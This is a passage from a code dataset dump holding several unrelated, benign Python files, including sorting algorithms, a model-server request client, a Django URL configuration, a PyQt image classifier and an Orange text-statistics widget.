timeindexes.astype(int)\n \n # calculate the number of events to include in each trace\n # convert the interval in seconds to bins using the sampling rate\n ev_limits = samplingfreq * interval\n ev_vector = range(int(ev_limits[0]), int(ev_limits[1]))\n \n # create a list that will contain one array for each channel\n aligneddata = [None] * len(trace)\n \n for j in range(len(aligneddata)):\n # create a matrix of the desired size\n alignedmatrix = np.zeros((len(aligntimes), len(ev_vector)))\n\n # populate the matrix with the trace parts\n for i in range(alignedmatrix.shape[0]):\n eventsToSave = ev_vector + timeindexes[i]\n alignedmatrix[i,] = trace[j][eventsToSave]\n\n # append it to the list\n aligneddata[j] = alignedmatrix\n \n return aligneddata\n\n\n\ndef normalizeTrace(trace, traceFrames, samplingfreq, sToZero, normwindow):\n '''\n Normalize a trace by two things:\n First, subtract the mean of some time before time = 0 (to make it 0)\n Second, normalize the amplitude to the mean of a defined time window\n :param trace: 1D array of x size, values of the trace to normalize\n :param traceFrames: 1D array of x size, range from -a to b\n :param samplingfreq: in Hz, the frequency of sampling\n :param sToZero: in seconds, how much time before time 0 to use for subtraction\n :param normwindow: in seconds, a list of size 2 defining the window for normalization\n :return: 1D array of x size, normalized\n '''\n # subtract the baseline\n # calculate how many time events (frames) that is\n subFrames = int(math.floor(sToZero * samplingfreq.base))\n subTrace = trace - np.mean(trace[traceFrames<0][-subFrames:])\n \n # normalize\n # divide by the mean of the values within a time window\n norFrames = np.logical_and(traceFrames>normwindow[0], traceFrames0:\r\n Append(L,random.randint(0,n*2))\r\n i = i - 1\r\n return L\r\n\r\n#Sorting Algorithm Functions\r\ndef BubbleSort(L):\r\n if IsEmpty(L):\r\n return None\r\n else:\r\n Current = L.head\r\n Completed = False\r\n while Completed != True:\r\n Completed = True\r\n Current = L.head\r\n while Current.next is not None:\r\n if Current.item > Current.next.item:\r\n nextItem = Current.next.item\r\n Current.next.item = Current.item\r\n Current.item = nextItem\r\n Completed = False\r\n Current = Current.next \r\n\r\ndef QuickSort(L):\r\n if L.Len > 1:\r\n middle = L.head.item\r\n List1 = List()\r\n List2 = List()\r\n Current = L.head.next\r\n while Current != None:\r\n if Current.item < middle:\r\n Append(List1, Current.item)\r\n else:\r\n Append(List2, Current.item)\r\n Current = Current.next\r\n \r\n QuickSort(List1)\r\n QuickSort(List2)\r\n \r\n if IsEmpty(List1):\r\n Append(List1, middle)\r\n else:\r\n Prepend(List2, middle)\r\n \r\n if IsEmpty(List1):\r\n L.head = List2.head\r\n L.tail = List2.tail\r\n else: \r\n List1.tail.next = List2.head\r\n L.head = List1.head\r\n L.tail = List2.tail\r\n\r\ndef MergeSort(L):\r\n if L.Len > 1:\r\n L1 = List()\r\n L2 = List()\r\n NewLength = L.Len//2\r\n Current = L.head \r\n \r\n for i in range(NewLength):\r\n Append(L1, Current.item)\r\n Current= Current.next\r\n \r\n while Current != None:\r\n Append(L2, Current.item)\r\n Current = Current.next\r\n \r\n MergeSort(L1)\r\n MergeSort(L2)\r\n NewList(L)\r\n MergeList(L, L1, L2)\r\n \r\ndef QuickSort2(L, Median):\r\n List1 = List()\r\n List2 = List()\r\n if L.Len <= 1:\r\n return L.head.item\r\n middle = L.head.item\r\n \r\n Current = L.head.next\r\n while Current != None:\r\n if Current.item < middle:\r\n Append(List1, Current.item)\r\n \r\n else:\r\n Append(List2,Current.item)\r\n Current = Current.next\r\n\r\n if List1.Len > Median :\r\n return QuickSort2(List1, Median)\r\n \r\n elif(List1.Len == 0 and Median == 0): \r\n return middle\r\n \r\n elif(List1.Len == Median):\r\n return middle\r\n \r\n else:\r\n return QuickSort2(List2, Median - List1.Len - 1)\r\n \r\n#Median Algorithms \r\ndef MedianBubble(L):\r\n C = Copy(L)\r\n BubbleSort(C)\r\n NewLength = C.Len//2\r\n Current = C.head\r\n for i in range(NewLength):\r\n Current = Current.next\r\n return Current.item\r\n\r\ndef MedianMerge(L):\r\n C = Copy(L) \r\n MergeSort(C)\r\n NewLength = C.Len//2\r\n Current = C.head\r\n for i in range(NewLength):\r\n Current = Current.next\r\n return Current.item\r\n\r\ndef MedianQuick(L):\r\n C = Copy(L)\r\n QuickSort(C)\r\n NewLength = C.Len//2\r\n Current = C.head\r\n for i in range(NewLength):\r\n Current = Current.next\r\n return Current.item\r\n\r\ndef MedianQuick2(L):\r\n C = Copy(L)\r\n LengthCopy = C.Len//2\r\n print(QuickSort2(C, LengthCopy))\r\n \r\n#States if the current List is empty or not\r\ndef IsEmpty(L):\r\n return L.head == None \r\n\r\n# Inserts x at end of list L \r\ndef Append(L,x): \r\n if IsEmpty(L):\r\n L.head = Node(x)\r\n L.tail = L.head\r\n L.Len = L.Len + 1\r\n else:\r\n L.tail.next = Node(x)\r\n L.tail = L.tail.next\r\n L.Len = L.Len + 1\r\n \r\n\r\n# Inserts x at beginging of list L \r\ndef Prepend(L,x):\r\n if IsEmpty(L):\r\n L.head = Node(x)\r\n L.tail = L.head\r\n L.Len = L.Len + 1\r\n else: \r\n L.head=Node(x,L.head) \r\n L.Len = L.Len + 1\r\n\r\n# Prints list L's items in order using a loop\r\ndef Print(L):\r\n temp = L.head\r\n while temp is not None:\r\n print(temp.item, end=' ')\r\n temp = temp.next\r\n print() # New line \r\n\r\ndef Remove(L,x):\r\n # Removes x from list L\r\n # It does nothing if x is not in L\r\n if L.head==None:\r\n return\r\n if L.head.item == x:\r\n if L.head == L.tail: # x is the only element in list\r\n L.head = None\r\n L.tail = None\r\n else:\r\n L.head = L.head.next\r\n else:\r\n # Find x\r\n temp = L.head\r\n while temp.next != None and temp.next.item !=x:\r\n temp = temp.next\r\n if temp.next != None: # x was found\r\n if temp.next == L.tail: # x is the last node\r\n L.tail = temp\r\n L.tail.next = None\r\n else:\r\n temp.next = temp.next.next\r\n\r\n# Appends sorted Lists into L\r\ndef MergeList(L,L1,L2):\r\n #Grabs the two head of each respective list. Called the variables current as it is the current item the algorithm is analyzing\r\n Current1 = L1.head\r\n Current2 = L2.head\r\n while Current1 != None and Current2 != None:\r\n #Adds the lowest term first of either list\r\n if Current1.item < Current2.item:\r\n Append(L, Current1.item)\r\n Current1 = Current1.next\r\n else:\r\n Append(L, Current2.item)\r\n Current2 = Current2.next \r\n #Clarifies that if either list contains any elements, if so, they will add any remaining items to the new list\r\n if Current1 is None:\r\n while Current2 != None:\r\n Append(L, Current2.item)\r\n Current2 = Current2.next\r\n if Current2 is None:\r\n while Current1 != None:\r\n Append(L, Current1.item)\r\n Current1 = Current1.next\r\n \r\n \r\n#Copies the content of a list and returns that copy\r\ndef Copy(L):\r\n copy = List()\r\n t = L.head\r\n while t != None:\r\n Append(copy,t.item)\r\n t = t.next\r\n return copy\r\n\r\n#Makes a random list\r\nListSize = int(input('How long do you want your list to be?'))\r\nL = RandomList(ListSize)\r\nprint('Original list: ')\r\nprint('')\r\nPrint(L)\r\nprint('')\r\nprint('Sorting by:')\r\nprint('')\r\nprint('Bubble sort, median is: ')\r\nstart1 = int(time.time()*1000)\r\nprint(MedianBubble(L))\r\nend1 = int(time.time()*1000)\r\nprint('Resulting time in seconds was: ')\r\nprint(end1-start1)\r\nprint('')\r\nprint('Merge sort, median is: ')\r\nstart2 = int(time.time()*1000)\r\nprint(MedianMerge(L))\r\nend2 = int(time.time()*1000)\r\nprint('Resulting time in seconds was: ')\r\nprint(end2-start2)\r\nprint('')\r\nprint('Sorted by quick sort, median is: ')\r\nstart3 = int(time.time()*1000)\r\nprint(MedianQuick(L))\r\nend3 = int(time.time()*1000)\r\nprint('Resulting time in seconds was: ')\r\nprint(end3-start3)\r\nprint('')\r\nprint('Sorted by the new quick sort, median is: ')\r\nstart4 = int(time.time()*1000)\r\nprint(MedianQuick2(L))\r\nend4 = int(time.time()*1000)\r\nprint('Resulting time in seconds was: ')\r\nprint(end4-start4)","repo_name":"cfcastaneda98/CS2302","sub_path":"LAB_2/Median.py","file_name":"Median.py","file_ext":"py","file_size_in_byte":8187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"34480109253","text":"# USAGE\n# python simple_request.py\n\n# import the necessary packages\nimport requests, time\n\n# initialize the Keras REST API endpoint URL along with the input\n# image path\nMODEL_REST_API_URL = \"https://adamant.tator.io:8082/predictor/\"\n#MODEL_REST_API_URL = \"https://your_domain_url:port/predictor/\"\nIMAGE_PATH = \"../images/00_01_13_13.png\"\n\n# load the input image and construct the payload for the request\nimage = open(IMAGE_PATH, \"rb\").read()\npayload = {\n \"file\" : (\"file\", image, \"image/png\"),\n \"model_type\" : (None, \"image_queue_detectron2\")\n}\nstart_time = time.time()\n# submit the request\nr = requests.post(MODEL_REST_API_URL, files=payload).json()\n# ensure the request was sucessful\nprint(f\"Request took {time.time() - start_time}\")\nif r[\"success\"]:\n\t# loop over the predictions and display them\n\tfor (i, result) in enumerate(r[\"predictions\"]):\n\t\tprint(f\"{i + 1}. {result}\")\n\n# otherwise, the request failed\nelse:\n\tprint(\"Request failed\")\n\n\nMODEL_REST_API_URL = \"https://adamant.tator.io:8082/sam/\"\npayload = {\n\t\"file\" : (\"file\", image, \"image/png\"),\n\t\"prompt_list\" : [\n\t{\"x\" : 252,\n \"y\" : 782}\n]\n}\ndata = [\n\t{\"x\" : 252,\n \"y\" : 782}\n]\n\nr = requests.post(MODEL_REST_API_URL, files=payload).json()","repo_name":"cvisionai/fastapi-model-server","sub_path":"script/simple_request.py","file_name":"simple_request.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40768333959","text":"def solution(s):\n candidates = []\n \n for length in range(1,(len(s)//2)+1): ## 절반길이까지만 테스트해보면 됨.\n candidate = [s[i:i+length] for i in range(0,len(s),length)]\n stacks = []\n for i in candidate:\n if len(stacks) == 0:\n stacks.append([i,1])\n elif stacks[-1][0] == i: # 연속되는 경우\n count = stacks[-1][1] +1\n stacks.pop()\n stacks.append([i,count])\n else:\n stacks.append([i,1])\n \n encode = ''\n for stack in stacks:\n if stack[1] == 1: # 한 개인 경우 그냥 더하기\n encode+=stack[0]\n else:\n encode+=str(stack[1])+stack[0]\n \n candidates.append(encode)\n \n answers = [len(i) for i in candidates]\n answers.append(len(s)) # 절반 길이만 고려하였으므로 전체 길이를 고려\n \n return min(answers)","repo_name":"Bae-hong-seob/coding_test","sub_path":"이것이 코딩 테스트다 문제모음/12장(구현)/12-3 문자열 압축.py","file_name":"12-3 문자열 압축.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"7338907682","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def swapPairs(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if not head or not head.next:\n return head\n prehead = ListNode(-1)\n prehead.next = head\n \n prev = prehead\n \n while head and head.next:\n left = head\n right = head.next\n \n prev.next = right\n left.next = right.next\n right.next = left\n \n prev = left\n head = prev.next\n return prehead.next\n","repo_name":"yk4r2/LeetCodeTasks","sub_path":"24.SwapNodesinPairs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"3381834289","text":"import socket\nimport threading\nimport time\n\nIPs = ['128.61.119.89']\nPORT = 5000\nipLock = threading.Lock()\n\nserverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# bind the socket to port 5000 on this host\nserverSocket.bind(('', PORT))\n#print(socket.gethostbyname(socket.gethostname()));\n\n#Listen on port 5000\nserverSocket.listen(10)\n\ndef sendThread(conn):\n\t#print(\"Lock Acquire\")\n\tipLock.acquire()\n\n\tfor ip in IPs:\n\t\tconn.send(ip.encode('utf-8'))\n\t\ttime.sleep(1)\n\t\t#print(ip)\n\n\tipLock.release()\n\tconn.send(\"FIN\".encode('utf-8'))\n\t#print(\"Sent FIN\")\n\tconn.close()\n\nwhile 1:\n\t(conn, address) = serverSocket.accept()\n\tt = threading.Thread(target=sendThread, args=(conn, ))\n\tt.start()\n","repo_name":"msternberg/FogChatDemoScripts","sub_path":"discoveryServer.py","file_name":"discoveryServer.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"44011053518","text":"import sys\r\nfrom pathlib import Path\r\n\r\nfrom PyQt5.QtWidgets import * \r\nfrom PyQt5 import QtCore \r\nfrom PyQt5.QtGui import * \r\n\r\nfrom FruitDetection01 import predictFruitClass, getTrainedModel\r\n\r\nclasses = {0: 'Apple Braeburn', 1: 'Avocado', 2: 'Banana', 3: 'Corn', 4: 'Eggplant', 5: 'Fig', 6: 'Grapefruit White', 7: 'Kiwi', 8: 'Lemon', 9: 'Mandarine', 10: 'Mango', 11: 'Mulberry', 12: 'Nut Forest', 13: 'Onion Red', 14: 'Orange', 15: 'Papaya', 16: 'Peach', 17: 'Pear', 18: 'Pepino', 19: 'Pepper Green', 20: 'Physalis', 21: 'Pineapple', 22: 'Plum', 23: 'Pomegranate', 24: 'Pomelo Sweetie', 25: 'Potato White', 26: 'Quince', 27: 'Raspberry', 28: 'Redcurrant', 29: 'Strawberry', 30: 'Tomato 1'}\r\nclass Example(QMainWindow):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.initUI()\r\n\r\n def initUI(self):\r\n \r\n '''\r\n self.textEdit = QTextEdit()\r\n self.setCentralWidget(self.textEdit)\r\n self.statusBar()\r\n '''\r\n \r\n self.label1 = QLabel()\r\n self.label1.move(100,100)\r\n\r\n openFile = QAction(QIcon('open.png'), 'Open', self)\r\n openFile.setShortcut('Ctrl+O')\r\n openFile.setStatusTip('Open new File')\r\n openFile.triggered.connect(self.showDialog)\r\n\r\n menubar = self.menuBar()\r\n fileMenu = menubar.addMenu('&File')\r\n fileMenu.addAction(openFile)\r\n\r\n self.setGeometry(300, 300, 550, 450)\r\n self.setWindowTitle('File dialog')\r\n self.show()\r\n\r\n def buttonClicked(self):\r\n sender = self.sender()\r\n self.statusBar().showMessage(sender.text() + ' was pressed')\r\n \r\n def showDialog(self):\r\n\r\n home_dir = str(Path.home())\r\n\r\n fname = QFileDialog.getOpenFileName(self, 'Open file', home_dir)\r\n\r\n if fname[0]:\r\n trainedModel = getTrainedModel(\"fruit_classify_model_180820.h5\")\r\n output = predictFruitClass(fname[0],trainedModel,classes)\r\n \r\n self.label1.setText(output)\r\n \r\n \r\n\r\ndef main():\r\n app = QApplication(sys.argv)\r\n ex = Example()\r\n sys.exit(app.exec_())\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n","repo_name":"yldzoguzkaan/FruitDetection","sub_path":"FruitDetection02.py","file_name":"FruitDetection02.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"2649920295","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"login\", views.login_view, name=\"login\"),\n path(\"logout\", views.logout_view, name=\"logout\"),\n path(\"register\", views.register, name=\"register\"),\n path(\"createlisting\", views.createListing, name=\"createListing\"),\n path(\"listing/\", views.listing, name=\"listing\"),\n path(\"watchlist\", views.watchlist, name=\"watchlist\"),\n path(\"addToWatchlist/\", views.addToWatchlist, name=\"addToWatchlist\"),\n path(\"categorys\", views.categorys, name=\"categorys\"),\n path(\"categorys/\", views.categorys_listing, name=\"categorys_listing\"),\n path(\"closeAuction/\", views.close_auction, name=\"closeAuction\")\n]\n","repo_name":"Ledaryy/CS50","sub_path":"project_2/commerce/auctions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"899634019","text":"class ShoppingCart(object):\n def __init__(self):\n self.item = None\n self.quantity = None\n self.price = None\n self.items = {}\n self._total_price = 0\n\n def add(self, item, price, quantity):\n if item in self.items:\n previous_quantity = self.items[item]['quantity']\n previous_price = self.items[item]['price']\n self.items[item] = {'quantity': previous_quantity + quantity,\n 'price': previous_price + price}\n else:\n self.items[item] = {'quantity':quantity, 'price':price}\n self._total_price += price * quantity\n\n @property\n def total_items_in_cart(self):\n return len(self.items) # better return a value instead of printing it\n\n @property\n def total_items_price_in_cart(self):\n return self._total_price\n\nsc = ShoppingCart()\nsc.add('book', 30, 1)\n# sc.add('book', 132, 1)\n\nsc.add('toothbrush', 4, 10)\n# sc.add('toothbrush', 5, 20)\n\nprint(sc.total_items_in_cart)\nprint(sc.total_items_price_in_cart)","repo_name":"MarcelKolodziej/PycharmProjects","sub_path":"Obiektowe,funkcje/11.04 python class/zadanie_zamowienie/przyklady/przyklad_4.py","file_name":"przyklad_4.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"20987254753","text":"import json\nfrom MetabolicTypeCalculator import MetabolicTypeCalculator\n\nif (__name__ == '__main__'):\n testColumns = json.load(open('testColumns.json'))\n testTypes = [\n 'functional',\n 'developmental'\n ]\n\n for testType in testTypes:\n metabolicTypeCalculator = MetabolicTypeCalculator(testType, False)\n \n metabolicType = metabolicTypeCalculator.calculate(testColumns[testType])\n groups = metabolicTypeCalculator.groupTotals\n subtype = metabolicTypeCalculator.calculateSubType(metabolicType)\n \n print('\\r\\n{0} Test {1}{2}{3}{4}'.format(\n testType,\n '\\r\\nGroup A: {0}'.format(groups['A']),\n '\\r\\nGroup B: {0}'.format(groups['B']),\n '\\r\\nGroup C: {0}'.format(groups['C']),\n '\\r\\nGroup D: {0}'.format(groups['D'])))\n print('\\r\\n{0} Metabolic Type: {1}'.format(testType, metabolicType))\n print('Sub Type: {0}'.format(subtype))\n","repo_name":"epalcu/metabolic-type-calculator","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"18210722832","text":"from marshmallow import fields, validates, ValidationError\n\nfrom app.extensions import ma\nfrom app.api.models.favorite_game import FavoriteGameModel\n\nclass FavoriteGameSchema(ma.SQLAlchemyAutoSchema):\n class Meta:\n model = FavoriteGameModel\n load_instance = True\n include_relationships = True\n\n @validates(\"game_rawg_id\")\n def validate_game_rawg_id(self, game_rawg_id):\n user_id = self.context.get('user_id')\n result = FavoriteGameModel.query.filter_by(game_rawg_id=game_rawg_id,user_id=user_id).first()\n if result:\n raise ValidationError('this game RAWG already exists in your user')","repo_name":"AyrtonMoises/flask-restx-rawg","sub_path":"app/api/schemas/favorite_game.py","file_name":"favorite_game.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32635431000","text":"import json\n\nfrom rest_framework.test import APIClient\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\n\n\nclass TestResourceTypes(APITestCase):\n\n def setUp(self):\n self.client = APIClient()\n\n # Use a static list so that this test breaks when a resource type is\n # added or removed (so that the test can be updated)\n self.resource_types = {'ToolResource',\n 'CollectionResource',\n 'CompositeResource'}\n\n def test_resource_typelist(self):\n response = self.client.get('/hsapi/resource/types/', format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n content = json.loads(response.content.decode())\n rest_resource_types = set([t['resource_type'] for t in content])\n\n self.assertEqual(self.resource_types, rest_resource_types)\n","repo_name":"hydroshare/hydroshare","sub_path":"hs_core/tests/api/rest/test_resource_types.py","file_name":"test_resource_types.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"50"} +{"seq_id":"17664152594","text":"import re\nfrom collections import Counter\nfrom copy import copy\nfrom itertools import groupby\nfrom string import punctuation\nfrom typing import Callable, List, Optional, Tuple\n\nimport numpy as np\nfrom AnyQt.QtWidgets import QComboBox, QGridLayout, QLabel, QLineEdit, QSizePolicy\n\nfrom Orange.widgets import gui\nfrom Orange.widgets.settings import Setting\nfrom Orange.widgets.utils.concurrent import ConcurrentWidgetMixin, TaskState\nfrom Orange.widgets.utils.widgetpreview import WidgetPreview\nfrom Orange.widgets.widget import Input, Output, OWWidget\nfrom nltk import tokenize\nfrom orangewidget.widget import Msg\n\nfrom orangecontrib.text import Corpus\n\n# those functions are implemented here since they are used in more statistics\nfrom orangecontrib.text.preprocess import (\n LowercaseTransformer,\n RegexpTokenizer,\n PreprocessorList\n)\n\n\ndef num_words(document: str, callback: Callable) -> int:\n \"\"\"\n Return number of words in document-string. Word is every entity divided by\n space, tab, newline.\n \"\"\"\n callback()\n return len(document.split())\n\n\ndef char_count(document: str, callback: Callable) -> int:\n \"\"\"\n Count number of alpha-numerical in document/string.\n \"\"\"\n callback()\n return sum(c.isalnum() for c in document)\n\n\ndef digit_count(document: str, callback: Callable) -> int:\n \"\"\"\n Count number of digits in document/string.\n \"\"\"\n callback()\n return sum(c.isdigit() for c in document)\n\n\ndef count_appearances(\n document: str, characters: List[str], callback: Callable\n) -> int:\n \"\"\"\n Count number of appearances of chars from `characters` list.\n \"\"\"\n callback()\n # I think it supports the majority of main languages\n # Y can be vowel too sometimes - it is not possible to distinguish\n return sum(document.lower().count(c) for c in characters)\n\n\ndef preprocess_only_words(corpus: Corpus) -> Corpus:\n \"\"\"\n Apply the preprocessor that splits words, transforms them to lower case\n (and removes punctuations).\n\n Parameters\n ----------\n corpus\n Corpus on which the preprocessor will be applied.\n\n Returns\n -------\n Preprocessed corpus. Result of pre-processing is saved in tokens/ngrams.\n \"\"\"\n p = PreprocessorList(\n [LowercaseTransformer(),\n # by default regexp keeps only words (no punctuations, no spaces)\n RegexpTokenizer()]\n )\n return p(corpus)\n\n\n# every statistic returns a np.ndarray with statistics\n# and list with variables names - it must be implemented here since some\n# statistics in the future will have more variables\n\n\ndef words_count(\n corpus: Corpus, _: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Count number of words in each document.\n \"\"\"\n corpus = preprocess_only_words(corpus)\n # np.c_ makes column vector (ndarray) out of the list\n # [1, 2, 3] -> [[1], [2], [3]]\n return (\n np.c_[[num_words(d, callback) for d in corpus.documents]],\n [\"Word count\"],\n )\n\n\ndef characters_count(\n corpus: Corpus, _: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Count number of characters without spaces, newlines, tabs, ...\n \"\"\"\n return (\n np.c_[[char_count(d, callback) for d in corpus.documents]],\n [\"Character count\"],\n )\n\n\ndef n_gram_count(\n corpus: Corpus, _: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Count number of n-grams in every document\n \"\"\"\n\n def ng_count(n_gram: List[str]):\n callback()\n return len(n_gram)\n\n return np.c_[list(map(ng_count, corpus.ngrams))], [\"N-gram count\"]\n\n\ndef average_word_len(\n corpus: Corpus, _: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Computes word density as: word count / character count + 1\n \"\"\"\n return (\n np.c_[\n [\n char_count(d, lambda: True) / num_words(d, callback)\n for d in corpus.documents\n ]\n ],\n [\"Average word length\"],\n )\n\n\ndef punctuation_count(\n corpus: Corpus, _: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Count number of punctuation signs\n \"\"\"\n\n def num_punctuation(document: str):\n callback()\n return sum(document.count(c) for c in punctuation)\n\n return (\n np.c_[list(map(num_punctuation, corpus.documents))],\n [\"Punctuation count\"],\n )\n\n\ndef capital_count(\n corpus: Corpus, _: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Count number of capital letters in documents\n \"\"\"\n\n def num_capitals(document: str):\n callback()\n return sum(1 for c in document if c.isupper())\n\n return (\n np.c_[list(map(num_capitals, corpus.documents))],\n [\"Capital letter count\"],\n )\n\n\ndef vowel_count(\n corpus: Corpus, vowels: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Count number of vowels in documents\n \"\"\"\n # comma separated string of vowels to list\n vowels = [v.strip() for v in vowels.split(\",\")]\n return (\n np.c_[\n [count_appearances(d, vowels, callback) for d in corpus.documents]\n ],\n [\"Vowel count\"],\n )\n\n\ndef consonant_count(\n corpus: Corpus, consonants: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Count number of consonants in documents. Consonants are all alnum\n characters except vowels and numbers\n \"\"\"\n # comma separated string of consonants to list\n consonants = [v.strip() for v in consonants.split(\",\")]\n return (\n np.c_[\n [\n count_appearances(d, consonants, callback)\n for d in corpus.documents\n ]\n ],\n [\"Consonant count\"],\n )\n\n\ndef per_cent_unique_words(\n corpus: Corpus, _: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Ratio between unique words count and all words count\n \"\"\"\n corpus = preprocess_only_words(corpus)\n\n def perc_unique(tokens: str):\n callback()\n if not tokens:\n return np.nan\n return len(set(tokens)) / len(tokens)\n\n return np.c_[list(map(perc_unique, corpus.tokens))], [\"% unique words\"]\n\n\ndef starts_with(\n corpus: Corpus, prefix: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Number of words that starts with the string in `prefix`.\n \"\"\"\n corpus = preprocess_only_words(corpus)\n\n def number_starts_with(tokens: List[str]):\n callback()\n return sum(t.startswith(prefix) for t in tokens)\n\n return (\n np.c_[list(map(number_starts_with, corpus.tokens))],\n [f\"Starts with {prefix}\"],\n )\n\n\ndef ends_with(\n corpus: Corpus, postfix: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Number of words that ends with the string in `postfix`.\n \"\"\"\n corpus = preprocess_only_words(corpus)\n\n def number_ends_with(tokens: List[str]):\n callback()\n return sum(t.endswith(postfix) for t in tokens)\n\n return (\n np.c_[list(map(number_ends_with, corpus.tokens))],\n [f\"Ends with {postfix}\"],\n )\n\n\ndef contains(\n corpus: Corpus, text: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Number of words that contains string in `text`.\n \"\"\"\n return (\n np.c_[\n [count_appearances(d, [text], callback) for d in corpus.documents]\n ],\n [f\"Contains {text}\"],\n )\n\n\ndef regex(\n corpus: Corpus, expression: str, callback: Callable\n) -> Tuple[np.ndarray, List[str]]:\n \"\"\"\n Count occurrences of pattern in `expression`.\n \"\"\"\n pattern = re.compile(expression)\n\n def number_regex(tokens: List[str]):\n callback()\n return sum(bool(pattern.match(t)) for t in tokens)\n\n return (\n np.c_[list(map(number_regex, corpus.tokens))],\n [f\"Regex {expression}\"],\n )\n\n\ndef pos_tags(\n corpus: Corpus, pos_tags: str, callback: Callable\n) -> Optional[Tuple[np.ndarray, List[str]]]:\n \"\"\"\n Count number of specified pos tags in corpus\n \"\"\"\n p_tags = [v.strip().lower() for v in pos_tags.split(\",\")]\n\n def cust_count(tags):\n callback()\n tags = [t.lower() for t in tags]\n return sum(tags.count(t) for t in p_tags)\n\n if corpus.pos_tags is None:\n return None\n return (\n np.c_[[cust_count(p) for p in corpus.pos_tags]],\n [f\"POS tags {pos_tags}\"],\n )\n\n\ndef yule(\n corpus: Corpus, _: str, callback: Callable\n) -> Optional[Tuple[np.ndarray, List[str]]]:\n \"\"\"\n Yule's I measure: higher number is higher diversity - richer vocabulary\n PSP volume 42 issue 2 Cover and Back matter. (1946).\n Mathematical Proceedings of the Cambridge Philosophical Society, 42(2), B1-B2.\n doi:10.1017/S0305004100022799\n \"\"\"\n if corpus.pos_tags is None:\n return None\n\n def yules_i(tags):\n callback()\n d = Counter(tags)\n m1 = float(len(d))\n m2 = sum([len(list(g)) * (freq ** 2) for freq, g in\n groupby(sorted(d.values()))])\n try:\n return (m1 * m1) / (m2 - m1)\n except ZeroDivisionError:\n return 0\n\n return (\n np.c_[[yules_i(p) for p in corpus.pos_tags]],\n [f\"Yule's I\"],\n )\n\n\ndef lix(\n corpus: Corpus, _: str, callback: Callable\n) -> Optional[Tuple[np.ndarray, List[str]]]:\n \"\"\"\n Readability index LIX\n https://en.wikipedia.org/wiki/Lix_(readability_test)\n \"\"\"\n corpus = preprocess_only_words(corpus)\n tokenizer = tokenize.PunktSentenceTokenizer()\n\n def lix_index(document, tokens):\n callback()\n # if the text is a single sentence, scores will be high\n sentences = len(tokenizer.tokenize(document))\n words = len(tokens)\n long_words = len([token for token in tokens if len(token) > 6])\n try:\n return words/sentences + (long_words*100/words)\n except ZeroDivisionError:\n return 0\n\n return (\n np.c_[[lix_index(d, tokens) for d, tokens in zip(corpus.documents,\n corpus.tokens)]],\n [\"LIX index\"],\n )\n\n\nclass ComputeValue:\n \"\"\"\n Class which provides compute value functionality. It stores the function\n that is used to compute values on new data table using this domain.\n\n Attributes\n ----------\n function\n Function that computes new values\n pattern\n Some statistics need additional parameter with the pattern\n (e.g. starts with), for others it is set to empty string.\n \"\"\"\n\n def __init__(self, function: Callable, pattern: str) -> None:\n self.function = function\n self.pattern = pattern\n\n def __call__(self, data: Corpus) -> np.ndarray:\n \"\"\"\n This function compute values on new table.\n \"\"\"\n # lambda is added as a placeholder for a callback.\n return self.function(data, self.pattern, lambda: True)[0]\n\n def __eq__(self, other):\n return self.function == other.function and self.pattern == other.pattern\n\n def __hash__(self):\n return hash((self.function, self.pattern))\n\n\n# the definition of all statistics used in this widget, if new statistic\n# is required ad it to this list\n\nSTATISTICS = [\n # (name of the statistics, function to compute, default value)\n # if default value is None - text box is not required\n (\"Word count\", words_count, None),\n (\"Character count\", characters_count, None),\n (\"N-gram 